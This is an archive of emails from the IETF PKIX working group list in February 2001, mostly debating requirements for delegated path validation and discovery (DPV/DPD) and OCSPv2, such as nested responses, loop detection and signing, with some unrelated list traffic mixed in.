Received: from edelweb.fr (edelweb.fr [212.234.46.16]) by above.proper.com (8.9.3/8.9.3) with ESMTP id HAA16824 for <[e-mail]>; Fri, 9 Feb 2001 07:57:40 -0800 (PST)
Received: from champagne.edelweb.fr (localhost.edelweb.fr [127.0.0.1]) by edelweb.fr with ESMTP id QAA28867; Fri, 9 Feb 2001 16:57:42 +0100 (MET)
Received: from champagne.edelweb.fr (champagne.edelweb.fr [193.51.14.161]) by edelweb.fr (nospam/1.3); Fri, 9 Feb 2001 16:57:42 +0100 (MET)
Received: from emeriau.edelweb.fr (emeriau.edelweb.fr [193.51.14.5]) by champagne.edelweb.fr (8.7.6/8.6.6) with ESMTP id QAA26617; Fri, 9 Feb 2001 16:57:41 +0100 (MET)
From: Peter Sylvester <[e-mail]>
Received: (sylvest@localhost) by emeriau.edelweb.fr (8.7.6/8.6.6) id QAA05280; Fri, 9 Feb 2001 16:57:41 +0100 (MET)
Date: Fri, 9 Feb 2001 16:57:41 +0100 (MET)
Message-Id: <[e-mail]>
To: [e-mail], [e-mail]
Subject: RE: DPV and DPD issues summary [no longer that long :-)]

> 
> 
> Hi Peter,
>     By extending this arguement, would you insist that every
> OCSP response contained a CRL (if it was based on a CRL), or
> that every SSL certificate contained the request, "company
> ownership of domain", RA authorization, [or whatever other info
> the CA used to figure out that the request was genuine], ....

No, I don't insist in anything; I just said that a server should
have the possibility to add data that have been used, not that it
MUST add data. 



Received: from ext-mail.valicert.com (ns1.valicert.com [63.65.221.10]) by above.proper.com (8.9.3/8.9.3) with ESMTP id HAA11750 for <[e-mail]>; Fri, 9 Feb 2001 07:22:05 -0800 (PST)
Received: from CONVERSION-DAEMON by ext-mail.valicert.com (PMDF V5.2-33 #46613) id <[e-mail]> for [e-mail]; Fri, 9 Feb 2001 07:22:03 -0800 (PST)
Received: from polaris.valicert.com ([192.168.2.34]) by ext-mail.valicert.com (PMDF V5.2-33 #46613) with ESMTP id <[e-mail]> for [e-mail]; Fri, 09 Feb 2001 07:22:03 -0800 (PST)
Received: by exchange.valicert.com with Internet Mail Service (5.5.2650.21) id <DSYBWGAG>; Fri, 09 Feb 2001 07:16:58 -0800
Content-return: allowed
Date: Fri, 09 Feb 2001 07:16:50 -0800
From: Ambarish Malpani <[e-mail]>
Subject: RE: DPV and DPD issues summary [no longer that long :-)]
To: [e-mail]
Message-id: <[e-mail]>
MIME-version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-type: text/plain;	charset="iso-8859-1"

Hi Peter,
    By extending this arguement, would you insist that every
OCSP response contained a CRL (if it was based on a CRL), or
that every SSL certificate contained the request, "company
ownership of domain", RA authorization, [or whatever other info
the CA used to figure out that the request was genuine], ....

I am not sure you could get most protocols to work if you tried
to get all the proof over from the server....

Regards,
Ambarish

---------------------------------------------------------------------
Ambarish Malpani
Architect                                                650.567.5457
ValiCert, Inc.                                  [e-mail]
339 N. Bernardo Ave.                          http://www.valicert.com
Mountain View, CA 94043


> -----Original Message-----
> From: Peter Sylvester [mailto:[e-mail]]
> Sent: Friday, February 09, 2001 3:23 AM
> To: [e-mail]; [e-mail]
> Cc: [e-mail]
> Subject: Re: OCSPv2, DPV and DPD issues summary (long)
> 
> 
> > 
> > There is some confusion here. We are in agreement that it would be 
> > good if each server along a path logged the response from 
> the server 
> > from which it received a response. That does not require nested 
> > responses. Nested responses would be needed if we insisted that a 
> > client needed to be able to assemble this data, rather than relying 
> > on the DPV server(s) to maintain this data.
> > 
> There are two issues: 
> 
> - A server must probably log all activities anyway.
>   So far, this is not the directly visible part of the protocol, 
>   unless we add a protocol to allow to ask a server to ... 
> 
> - But: Whenever wants to know *why* a DPV has responsed, then 
> it should NOT
>   be necessary to go back to the server's logging files. Or, a DPV
>   server should have the possibility to include all relevant 
> information
>   that has contributed to its decision in such a way that a client
>   can easily exploit this by logging or showing to a user or else.  
> 


Received: from edelweb.fr (edelweb.fr [212.234.46.16]) by above.proper.com (8.9.3/8.9.3) with ESMTP id DAA25930 for <[e-mail]>; Fri, 9 Feb 2001 03:23:02 -0800 (PST)
Received: from champagne.edelweb.fr (localhost.edelweb.fr [127.0.0.1]) by edelweb.fr with ESMTP id MAA25799; Fri, 9 Feb 2001 12:23:00 +0100 (MET)
Received: from champagne.edelweb.fr (champagne.edelweb.fr [193.51.14.161]) by edelweb.fr (nospam/1.3); Fri, 9 Feb 2001 12:23:00 +0100 (MET)
Received: from emeriau.edelweb.fr (emeriau.edelweb.fr [193.51.14.5]) by champagne.edelweb.fr (8.7.6/8.6.6) with ESMTP id MAA22006; Fri, 9 Feb 2001 12:22:59 +0100 (MET)
From: Peter Sylvester <[e-mail]>
Received: (sylvest@localhost) by emeriau.edelweb.fr (8.7.6/8.6.6) id MAA05223; Fri, 9 Feb 2001 12:22:59 +0100 (MET)
Date: Fri, 9 Feb 2001 12:22:59 +0100 (MET)
Message-Id: <[e-mail]>
To: [e-mail], [e-mail]
Subject: Re: OCSPv2, DPV and DPD issues summary (long)
Cc: [e-mail]

> 
> There is some confusion here. We are in agreement that it would be 
> good if each server along a path logged the response from the server 
> from which it received a response. That does not require nested 
> responses. Nested responses would be needed if we insisted that a 
> client needed to be able to assemble this data, rather than relying 
> on the DPV server(s) to maintain this data.
> 
There are two issues: 

- A server must probably log all activities anyway.
  So far, this is not the directly visible part of the protocol, 
  unless we add a protocol to allow to ask a server to ... 

- But: Whenever wants to know *why* a DPV has responsed, then it should NOT
  be necessary to go back to the server's logging files. Or, a DPV
  server should have the possibility to include all relevant information
  that has contributed to its decision in such a way that a client
  can easily exploit this by logging or showing to a user or else.  



Received: from po1.bbn.com (PO1.BBN.COM [192.1.50.38]) by above.proper.com (8.9.3/8.9.3) with ESMTP id VAA19496 for <[e-mail]>; Thu, 8 Feb 2001 21:51:22 -0800 (PST)
Received: from [128.33.238.46] (TC046.BBN.COM [128.33.238.46]) by po1.bbn.com (8.9.1/8.9.1) with ESMTP id AAA10320; Fri, 9 Feb 2001 00:50:45 -0500 (EST)
Mime-Version: 1.0
X-Sender: [e-mail] (Unverified)
Message-Id: <v04220800b6a8c83b61db@[128.33.238.89]>
In-Reply-To: <[e-mail]>
References: <[e-mail]>
Date: Thu, 8 Feb 2001 17:30:21 -0500
To: "Michael Myers" <[e-mail]>
From: Stephen Kent <[e-mail]>
Subject: RE: OCSPv2, DPV and DPD issues summary (long)
Cc: <[e-mail]>
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

Mike,


><snip>
>  > >5.  Should DPD response syntax enable recursion?     [Covey, 1/4/01]
>  > >     (OCSP framework already enables recusion)
>  >
>  > For now I don't see the utility of supporting nested responses in
>  > DPV, or DPD. For a DPD server, it should be able to extract any
>  > certs, CRLs, or OCSP responses it receives and pass on the extracted
>  > data. In fact, it may not want to pass one all the data it gets from
>  > another DPD server, i.e., it may winnow it. In case of DPV, we
>  > discussed the fact that the client trusts the DPV server it uses, and
>  > trust is not transitive, so there does not appear to be a need for a
>  > DPV response to convey another DPV response, although a DPV server
>  > may log the responses and save them in case they turn out to be wrong
>  > and the server operator needs to track down the source of the error.
>  > If a DPV server makes use of a DPD server, or vice versa, I think the
>  > arguments above apply. So, for now, I see no need to support nested
>  > responses.
>
>I think we may be out of sync.  I too see no need to address this issue
>given that OCSP-based solutions already exist to address these requirements.
>See my prior note on this point.

Yes, we may be out of sync. In this thread we're interested only in 
DPD/DPV requirements, so I get confused by references to anything 
else, e.g., OCSP.

><snip>
>  > >8.  Should DPD responses be signed?                  [Manger, 1/24/01]
>  > >     (No, DPD responses do not need to be signed.)
>  >
>  > signing is an option in my revised spec.
>
>I have no problems on optional signing from an OCSP perspective.

Again, why a reference to OCSP? We're working on DPD/DPV!

>
>  >
>  > >9.  A signature is not needed for DPV in all cases.  [Kent, 1/24/01]
>  > >     (proposed: OCSPv2 and DPV I-Ds will continue to
>  > >      mandate sigs pending WG discussion and consensus
>  > >      to the contrary.)
>  >
>  > I note the phrase "to the contrary" which is not a good sign :-). In
>  > your detailed response you suggest that NR is a primary motivation
>  > for DPV. I don't think the WG discussion supports that assertion,
>  > though I can't argue with you re what may have been your primary
>  > motivation. My analysis is that we promote the use of DPV for any
>  > client that is not PKI aware or that wishes to offload cert
>  > validation processing. That's what the motivation text has said for
>  > some time. Given that, NR is not implied as a primary rationale for
>  > DPV.
>  >
>
>True, NR is a subset of PKI-based security needs, but source authentication
>needs remain.  Also, response signing is mandated in RFC 2560 (at least for
>revocation status requests.)  I'm assuming that our work in updating
>editorial issues in 2560 as it moves forward excludes substantive changes.
>Perhaps as this relates to OCSP it's better to soften this SHALL to a MAY in
>the OCSPv2 work?

An extended version of OCSP is only one candidate for meeting the 
DPD/DPV requirements. Thus I don't want to prejudice these 
requirements by reference to OCSP.

>  >
>  > >13. Need for validation controls beyond 2459 rules   [Pinkas, 1/23/01]
>  > >     (DPD paths should (shall?) be valid.)
>  >
>  > I have picked parameters based on Denis's SMIME ESP example, and
>  > comments from Russ. But, I don't agree with your conclusion in the
>  > details. We still do not have consensus on whether a client expects a
>  > valid path from a DPD server, or only a probably valid path. The
>  > inclusion of revocation status data in the DPD response is easily
>  > made into a client-specified option. The real issue is whether we
>  > require a DPD server to be capable of returning the data whenever it
>  > claims to return a valid path.
>
>The real question is:  "Is a DPD server subject to security architecture
>requirements (e.g. Common Criteria), or is it simply an 'untrusted' relay?"
>given this requirement.  If the WG can resolve a position to this question,
>we'll be quick to closure on the issue.

I think we are way out of sync here. As we have always used the term, 
"trust" in the DPV server is independent of assurance and of any 
formal evaluation criteria, e.g., Common Criteria (although one might 
argue that it should be otherwise). So, Ihave to  reject your 
restatement of this question.

>  > >14. Ability to mandate name forms in DPD responses.  [Housley, 1/24/01]
>  > >     (Name constraints are preferable, esp. wrt to
>  > >      cross certs).
>  >
>  > added to the next rev.
>  >
>  > the next rev will include a slightly edited motivation discussion. It
>  > will propose ASN.1 syntax for DPD and DPV client requests and server
>  > responses, done separately. My ASN.1 will have errors, I am sure, but
>  > the point of specifying something at this point is to make more
>  > concrete the data items being exchanged, as well as the processing
>  > requirements associated with the exchanged data.
>  >
>  > I am out at the NDSS this week, so nothing will likely be ready until
>  > next week. Meanwhile, we have a few open issues that can continue to
>  > be addressed on the list.
>
>I'm confident we share a roughly equivalent facility with ASN.1, but what
>I'm concerned about is how this relates to the ASN.1-level work several of
>us have been engaged on regarding OCSP-based DPV and DPD I-Ds since
>Pittsburg?  I was under the impression that there would ultimately exist a
>high-level requirements document that would govern these
>implementation-level issues and then the various camps would go off and work
>on technical responses to that direction.  In fact, I'm in the process right
>now of doing just based on the rough consensus to date in order to get
>something out to the OCSPv2, DPD and DPV co-authors for their review and
>contributions.

I don't mean to preempt the work you and others have been doing. As 
the requirements discussion has progressed, it has become clear to me 
that we have to be fairly precise in describing them. So, my ASN.1 
description is not intended to be overly proscriptive, but will be 
used to make the requirements more concrete. However, some syntax 
probably does need to be tightly included into the requirements. For 
example, if we want to transparently carry certs and CRLs as an aid 
to servers, and if these are to be extracted from other protocols, 
then it makes sense to specify the syntax in terms of these, 
pre-existing formats. Nonetheless, don't worry about my strawman 
syntax; it's mostly a means of presenting a more concrete description 
of the requirements and I am not tied to it (in most cases).

Steve



Received: from po1.bbn.com (PO1.BBN.COM [192.1.50.38]) by above.proper.com (8.9.3/8.9.3) with ESMTP id VAA19393 for <[e-mail]>; Thu, 8 Feb 2001 21:49:07 -0800 (PST)
Received: from [128.33.238.46] (TC046.BBN.COM [128.33.238.46]) by po1.bbn.com (8.9.1/8.9.1) with ESMTP id AAA10164; Fri, 9 Feb 2001 00:48:12 -0500 (EST)
Mime-Version: 1.0
X-Sender: [e-mail] (Unverified)
Message-Id: <v04220806b6a8813b19cc@[128.33.238.89]>
In-Reply-To: <[e-mail]>
References: <[e-mail]>
Date: Thu, 8 Feb 2001 14:17:28 -0500
To: Peter Sylvester <[e-mail]>
From: Stephen Kent <[e-mail]>
Subject: Re: OCSPv2, DPV and DPD issues summary (long)
Cc: [e-mail]
Content-Type: multipart/alternative; boundary="============_-1230424709==_ma============"

--============_-1230424709==_ma============
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

Peter,

>  >
>  > >5.  Should DPD response syntax enable recursion?     [Covey, 1/4/01]
>  > >     (OCSP framework already enables recusion)
>  >
>  > For now I don't see the utility of supporting nested responses in
>  > DPV, or DPD. For a DPD server, it should be able to extract any
>  > certs, CRLs, or OCSP responses it receives and pass on the extracted
>  > data. In fact, it may not want to pass one all the data it gets from
>  > another DPD server, i.e., it may winnow it. In case of DPV, we
>  > discussed the fact that the client trusts the DPV server it uses, and
>  > trust is not transitive, so there does not appear to be a need for a
>  > DPV response to convey another DPV response, although a DPV server
>  > may log the responses and save them in case they turn out to be wrong
>  > and the server operator needs to track down the source of the error.
>  > If a DPV server makes use of a DPD server, or vice versa, I think the
>  > arguments above apply. So, for now, I see no need to support nested
>  > responses.
>
>It seems that we are in a real disagreement here: The case that a
>DPV server want to 'log' the responses obtained from another DPV or
>OCSP, is important. It is important that the DPV server can note
>somewhere 'This information is based on a DPV request made at ...',
>and the easiest way to do so is to include the original response.

There is some confusion here. We are in agreement that it would be 
good if each server along a path logged the response from the server 
from which it received a response. That does not require nested 
responses. Nested responses would be needed if we insisted that a 
client needed to be able to assemble this data, rather than relying 
on the DPV server(s) to maintain this data.

>  > >6.  There exists a need for loop detection.          [Sylvester, 1/11/01]
>  > >     (proposed: amend OCSPv2 and DPV I-Ds)
>  >
>  > This still seems like a good requirement, and I'm looking for a
>  > proposal of how to do it.
>
>A strawman proposal:
>
>A requester may add its identity to a
>request. A server that relays a request MUST add his identity*
>to the request. A server SHOULD relay all requesters in relayed
>requests.
>
>When a server detects its own id it SHOULD reject the request.
>
>A server MAY reject a request when it would be forwarded
>to any of the identities already available.
>
>A server may reject a request that contains too many requester
>ids. (defined by local configuration of the server).

OK. A list of IDs of servers that have been involved in processing a 
request seems reasonable. I'm not sure whether the situations Carlin 
notes in his response are ones we need to address, yet.

Steve

--============_-1230424709==_ma============
Content-Type: text/enriched; charset="us-ascii"

Peter,


<excerpt>> 

> >5.  Should DPD response syntax enable recursion?     [Covey,
1/4/01]

> >     (OCSP framework already enables recusion)

> 

> For now I don't see the utility of supporting nested responses in 

> DPV, or DPD. For a DPD server, it should be able to extract any 

> certs, CRLs, or OCSP responses it receives and pass on the extracted

> data. In fact, it may not want to pass one all the data it gets from

> another DPD server, i.e., it may winnow it. In case of DPV, we 

> discussed the fact that the client trusts the DPV server it uses, and

> trust is not transitive, so there does not appear to be a need for a

> DPV response to convey another DPV response, although a DPV server 

> may log the responses and save them in case they turn out to be wrong

> and the server operator needs to track down the source of the error.

> If a DPV server makes use of a DPD server, or vice versa, I think the

> arguments above apply. So, for now, I see no need to support nested 

> responses.


It seems that we are in a real disagreement here: The case that a

DPV server want to 'log' the responses obtained from another DPV or

OCSP, is important. It is important that the DPV server can note

somewhere 'This information is based on a DPV request made at ...',

and the easiest way to do so is to include the original response. 

</excerpt>

There is some confusion here. We are in agreement that it would be good
if each server along a path logged the response from the server from
which it received a response. That does <underline>not</underline>
require nested responses. Nested responses would be needed if we
insisted that a client needed to be able to assemble this data, rather
than relying on the DPV server(s) to maintain this data. 


<excerpt>> >6.  There exists a need for loop detection.         
[Sylvester, 1/11/01]

> >     (proposed: amend OCSPv2 and DPV I-Ds)

> 

> This still seems like a good requirement, and I'm looking for a 

> proposal of how to do it.


A strawman proposal:


A requester may add its identity to a

request. A server that relays a request MUST add his identity*

to the request. A server SHOULD relay all requesters in relayed

requests. 


When a server detects its own id it SHOULD reject the request. 


A server MAY reject a request when it would be forwarded

to any of the identities already available. 


A server may reject a request that contains too many requester

ids. (defined by local configuration of the server). 

</excerpt>

OK. A list of IDs of servers that have been involved in processing a
request seems reasonable. I'm not sure whether the situations Carlin
notes in his response are ones we need to address, yet.


Steve 

--============_-1230424709==_ma============--


Received: from monsoon.mail.pipex.net (monsoon.mail.pipex.net [158.43.128.69]) by ns.secondary.com (8.9.3/8.9.3) with SMTP id HAA26466 for <[e-mail]>; Thu, 8 Feb 2001 07:59:06 -0800 (PST)
Received: (qmail 11601 invoked from network); 8 Feb 2001 16:06:34 -0000
Received: from userdw30.uk.uudial.com (HELO sbsjtl.Leavesley.com) (62.188.8.24) by smtp-1.dial.pipex.com with SMTP; 8 Feb 2001 16:06:34 -0000
Received: by SBSJTL with Internet Mail Service (5.5.2448.0) id <DS225GQW>; Thu, 8 Feb 2001 16:07:05 -0000
Message-ID: <A75D70DAC966D411A3D40060084E3EA90765C9@SBSJTL>
From: Adam Maher <[e-mail]>
To: "'[e-mail]'" <[e-mail]>
Cc: Adam Maher <[e-mail]>
Subject: Sales
Date: Thu, 8 Feb 2001 16:07:04 -0000 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2448.0)
Content-Type: text/plain; charset="iso-8859-1"

       Currently we have on offer lay flat water delivery hose 6".  Large
quantity's are available at very reasonable price's the more you buy the
cheaper it get's


********************************************************** 
Privileged/Confidential Information may be contained in this message. 
If you are not the addressee indicated in this message (or responsible 
for the delivery of this message to such person), you may not copy 
or deliver this message to anyone. 
In such case, you should destroy this message and kindly notify the 
sender by reply Email. Please advise immediately if you or your employer 
does not consent to Internet Email for messages of this kind. 

Opinions, conclusions and other information in this message that do not 
relate to official business of J.T. Leavesley Ltd or its Group/Associated 
Companies shall be understood as neither given nor endorsed by them. 

J.T. Leavesley Ltd 
Registered in England. 
Registered Number 481586 
Registered Office Ryknield House, Alrewas, Burton Upon Trent, Staffs DE137AB

Telephone [phone] Facsimilie 01283 791500 
********************************************************** 




Received: from ietf.org (odin.ietf.org [132.151.1.176]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id EAA08756 for <[e-mail]>; Thu, 8 Feb 2001 04:17:50 -0800 (PST)
Received: from CNRI.Reston.VA.US (localhost [127.0.0.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA04955; Thu, 8 Feb 2001 07:25:17 -0500 (EST)
Message-Id: <[e-mail]>
Mime-Version: 1.0
Content-Type: Multipart/Mixed; Boundary="NextPart"
To: IETF-Announce: ;
Cc: [e-mail]
From: [e-mail]
Reply-to: [e-mail]
Subject: I-D ACTION:draft-ietf-pkix-new-part1-04.txt
Date: Thu, 08 Feb 2001 07:25:17 -0500
Sender: [e-mail]

--NextPart

A New Internet-Draft is available from the on-line Internet-Drafts directories.
This draft is a work item of the Public-Key Infrastructure (X.509) Working Group of the IETF.

	Title		: Internet X.509 Public Key Infrastructure Certificate 
                          and CRL Profile
	Author(s)	: R. Housley, W. Ford, W. Polk, D. Solo
	Filename	: draft-ietf-pkix-new-part1-04.txt
	Pages		: 118
	Date		: 07-Feb-01
	
This is the fourth draft of a specification based upon RFC 2459.
When complete, this specification will obsolete RFC 2459.  This
specification includes minor edits and clarifications.  The most
notable departures from RFC 2459 are found in Section 6, Path
Validation.  In RFC 2459, the reader was expected to augment the path
validation algorithm, which concentrated upon policy processing, with
information embedded in earlier sections.  For example, parameter
inheritance is discussed in Section 7, Algorithm Support, and can
certainly affect the validity of a certification path.

A URL for this Internet-Draft is:
http://www.ietf.org/internet-drafts/draft-ietf-pkix-new-part1-04.txt

Internet-Drafts are also available by anonymous FTP. Login with the username
"anonymous" and a password of your e-mail address. After logging in,
type "cd internet-drafts" and then
	"get draft-ietf-pkix-new-part1-04.txt".

A list of Internet-Drafts directories can be found in
http://www.ietf.org/shadow.html 
or ftp://ftp.ietf.org/ietf/1shadow-sites.txt


Internet-Drafts can also be obtained by e-mail.

Send a message to:
	[e-mail].
In the body type:
	"FILE /internet-drafts/draft-ietf-pkix-new-part1-04.txt".
	
NOTE:	The mail server at ietf.org can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.
		
		
Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type: Message/External-body;
	access-type="mail-server";
	server="[e-mail]"

Content-Type: text/plain
Content-ID:	<[e-mail]>

ENCODING mime
FILE /internet-drafts/draft-ietf-pkix-new-part1-04.txt

--OtherAccess
Content-Type: Message/External-body;
	name="draft-ietf-pkix-new-part1-04.txt";
	site="ftp.ietf.org";
	access-type="anon-ftp";
	directory="internet-drafts"

Content-Type: text/plain
Content-ID:	<[e-mail]>

--OtherAccess--

--NextPart--




Received: from smtp.dave.sonera.fi (smtp.dave.sonera.fi [131.177.130.21]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id BAA18403 for <[e-mail]>; Thu, 8 Feb 2001 01:06:40 -0800 (PST)
Received: from tahtijy1-pc.etela.sonera.fi ([131.177.214.160]:1181 "EHLO smarttrust.com") by inside.dave.sonera.fi with ESMTP id <S64251AbRBHJOo>; Thu, 8 Feb 2001 11:14:44 +0200
Message-ID: <[e-mail]>
Date:   Thu, 08 Feb 2001 11:13:31 +0200
From: Jyri-Pekka =?iso-8859-1?Q?T=E4htinen?=  <[e-mail]>
Organization: SmartTrust Ltd.
X-Mailer: Mozilla 4.72 [en] (WinNT; U)
X-Accept-Language: en
MIME-Version: 1.0
To: "[e-mail]" <[e-mail]>
Subject: unsubscribe
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

unsubscribe


Received: from prv-mail20.provo.novell.com (prv-mail20.provo.novell.com [137.65.81.122]) by ns.secondary.com (8.9.3/8.9.3) with SMTP id QAA17142; Wed, 7 Feb 2001 16:52:38 -0800 (PST)
Received: from INET-PRV-Message_Server by prv-mail20.provo.novell.com with Novell_GroupWise; Wed, 07 Feb 2001 17:59:25 -0700
Message-Id: <[e-mail]>
X-Mailer: Novell GroupWise Internet Agent 5.5.5.1
Date: Wed, 07 Feb 2001 17:59:27 -0700
From: "Bob Jueneman" <[e-mail]>
To: <[e-mail]>, <[e-mail]>
Subject: Spam problems
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Disposition: inline
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by ns.secondary.com id QAA17143

Paul, I've only recently been made aware of the services of www.spamcop.com.  They will allow you to drag and drop the mime.822 header information of a message onto their web site, process it by looking up the claimed names vs the IP addresses, and decide whether or not the mail is likely to be spam.  They will tell you whether their filters would have caught that particular sender or not, and they also provide a way to  send a notification back to the real network administrator.  According to them, replying back to the "take me off your list" address does nothing but increase the value of your name to them.

In addition to this free service, they also offer an e-mail screening service that will hold suspected spam for a week, providing an opportunity for you to review and release it.  I didn't check the cost, but you might want to consider using their services to scrub some of the junk that has been coming across recently.  

So far as I can tell, this wouldn't block cross-posters or other legitimate users, unlike the approach of requiring users to be preregistered.

Bob

>>> Paul Hoffman / IMC <[e-mail]> 02/06/01 02:34PM >>>
At 11:52 AM -0800 2/6/01, Shashi Kiran wrote:
>Can't we stop spam on this mailing list, by applying filters?

Yes, at the cost of not allowing cross-posting from other IETF lists 
and of delaying postings from people who send mail from more than one 
address. So far, the WG chairs have chosen not to make that 
restriction. As list administrator, I act on their wishes.



Received: from mail.phaos.com ([206.30.74.234]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id KAA27788 for <[e-mail]>; Wed, 7 Feb 2001 10:35:34 -0800 (PST)
Received: from phaos_arik.phaos.com (ruskie.spacerat.com [207.51.38.135]) by mail.phaos.com (8.9.2/8.9.2) with ESMTP id RAA55908 for <[e-mail]>; Wed, 7 Feb 2001 17:53:57 -0500 (EST) (envelope-from [e-mail])
Message-Id: <[e-mail]>
X-Sender: [e-mail]
X-Mailer: QUALCOMM Windows Eudora Version 5.0.2
Date: Wed, 07 Feb 2001 13:57:48 -0500
To: [e-mail]
From: Ari Kermaier <[e-mail]>
Subject: CMP proof-of-possession question
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed

For CMP proof-of-possession of private key performed using an encrypted 
challenge-response protocol: What is the purpose of including the sender's 
General Name in the encrypted challenge? (See rfc2510bis Section 3.2.8, 
POPODecKeyChallContent)

Ari Kermaier
Phaos Technology



Received: from exchange.cylink.com (exchange.cylink.com [192.43.161.25]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id KAA25569 for <[e-mail]>; Wed, 7 Feb 2001 10:05:26 -0800 (PST)
Received: from COVEY (cpe-24-221-22-222.az.sprintbbd.net [24.221.22.222]) by exchange.cylink.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2650.21) id 1MWA9SFW; Wed, 7 Feb 2001 10:11:33 -0800
From: "Carlin Covey" <[e-mail]>
To: "Peter Sylvester" <[e-mail]>, <[e-mail]>
Subject: RE: OCSPv2, DPV and DPD issues summary (long)
Date: Wed, 7 Feb 2001 11:11:10 -0700
Message-ID: <[e-mail]>
MIME-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0)
In-Reply-To: <[e-mail]>
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
Importance: Normal

Peter,

Please see my comments below.

<snip>

> >6.  There exists a need for loop detection.          [Sylvester, 1/11/01]
> >     (proposed: amend OCSPv2 and DPV I-Ds)
>
> This still seems like a good requirement, and I'm looking for a
> proposal of how to do it.

A strawman proposal:

A requester may add its identity to a
request. A server that relays a request MUST add his identity*
to the request. A server SHOULD relay all requesters in relayed
requests.

[Carlin]  I'd like to add just a bit of clarification.  In response
          to a request, a DPV or DPD server may initiate an OCSP request.
          This OCSP request would not need to include the requester's ID
          for the purposes of loop detection (but perhaps for billing),
          because the OCSP server will not relay a request to another
server.
          The requester would add its identity to any DPV or DPD requests
          (with respect to the same target certificate [see ** below]) that
          it relays to another server.

When a server detects its own id it SHOULD reject the request.

[Carlin]  It isn't terribly efficient, but I suppose that a DPV or DPD
          server might relay a request to itself to deal with another part
          of the certificate chain.  I guess the "SHOULD" doesn't
          disallow that.

A server MAY reject a request when it would be forwarded
to any of the identities already available.

[Carlin]  ** It is possible that a request may be relayed through another
          server back to the same server to deal with another part of the
          certificate chain.  Perhaps this should be allowed, at least in
          some circumstances.  (In the presence of cross certification,
          there may exist certificate chain loops that do not pass through
          any of the requester's trust anchors.  The mechanism for dealing
          with this should be independent of the mechanism for dealing with
          certificate status request loops.)

A server may reject a request that contains too many requester
ids. (defined by local configuration of the server).





Received: from exchange.cylink.com (exchange.cylink.com [192.43.161.25]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id IAA21439 for <[e-mail]>; Wed, 7 Feb 2001 08:40:59 -0800 (PST)
Received: from COVEY (cpe-24-221-22-222.az.sprintbbd.net [24.221.22.222]) by exchange.cylink.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2650.21) id 1MWA9RZG; Wed, 7 Feb 2001 08:47:07 -0800
From: "Carlin Covey" <[e-mail]>
To: "Stephen Kent" <[e-mail]>, "Michael Myers" <[e-mail]>
Cc: <[e-mail]>
Subject: RE: OCSPv2, DPV and DPD issues summary (long)
Date: Wed, 7 Feb 2001 09:46:43 -0700
Message-ID: <[e-mail]>
MIME-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0)
In-Reply-To: <v04220801b6a615b391cd@[128.33.238.86]>
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
Importance: Normal

 <snip>

>4.  Should a DPD server nonce a DPV server?          [Covey, 1/3/01]
>     (Rqmt under study; no consensus to mandate).

odd wording, i.e., making "nonce" into a verb! I have included a 
provision for the client to supply a nonce and a flag to enable a 
client to require that the server use this nonce in OCSP requests it 
issues on behalf of the client. if not invoked by the client, the 
server is free to use cached OSCP responses, or to supply its own 
nonce in an OCSP request. the text of the RFC should discuss the 
implications of this.

[Carlin]  Steve, I'm afraid that I am the party guilty of the 
          "verbification."  (Now here I have made the noun "verb"
          into the verb "verbify" and then made back the verb back
          into the noun "verbification." ;>} ) As you may recall, the 
          usage of "nonce" as a verb started out in this thread as my 
          tortured play ;>) on the lines from a play, to wit (or perhaps, 
          to half-wit): "to nonce or not to nonce"  [that is the question].
          Perhaps I will later make a verb into a noun to maintain
          verb/noun parity.  ;>)

          Sorry, my tongue sometimes gets wedged in my cheek. Having now 
          pulled it out, I commend with your solution to the relayed nonce 
          problem.


>5.  Should DPD response syntax enable recursion?     [Covey, 1/4/01]
>     (OCSP framework already enables recusion)

For now I don't see the utility of supporting nested responses in 
DPV, or DPD. For a DPD server, it should be able to extract any 
certs, CRLs, or OCSP responses it receives and pass on the extracted 
data. In fact, it may not want to pass one all the data it gets from 
another DPD server, i.e., it may winnow it. In case of DPV, we 
discussed the fact that the client trusts the DPV server it uses, and 
trust is not transitive, so there does not appear to be a need for a 
DPV response to convey another DPV response, although a DPV server 
may log the responses and save them in case they turn out to be wrong 
and the server operator needs to track down the source of the error. 
If a DPV server makes use of a DPD server, or vice versa, I think the 
arguments above apply. So, for now, I see no need to support nested 
responses.

[Carlin}  I agree that we can postpone (perhaps indefinitely) introducing
          nesting into the DPV and DPD response syntax. 

          I am in favor of, or neutral on, the remainder of the issues
          enumerated in Mike's and Steve's emails.  As the perpetrator
          of issues 4 and 5, I felt obligated to aid in their closure.


Regards,
Carlin

---------------------------

- Carlin Covey
